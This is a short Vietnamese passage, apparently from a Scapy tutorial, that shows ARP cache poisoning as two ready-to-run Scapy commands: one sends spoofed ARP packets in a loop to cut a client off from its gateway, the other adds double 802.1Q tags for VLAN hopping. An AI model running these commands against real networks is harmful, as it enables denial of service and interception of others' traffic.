ARP cache poisoning

Cuộc tấn công này ngăn cản một khách hàng khi tham gia các cổng bằng cách đầu độc ARP cache của nó thông qua một cuộc tấn công VLAN hopping attack
Cổ điển ARP cache poisoning:

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )

ARP cache với đôi đóng gói 802.1q:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
      /ARP(op="who-has", psrc=gateway, pdst=client),
      inter=RandNum(10,40), loop=1 )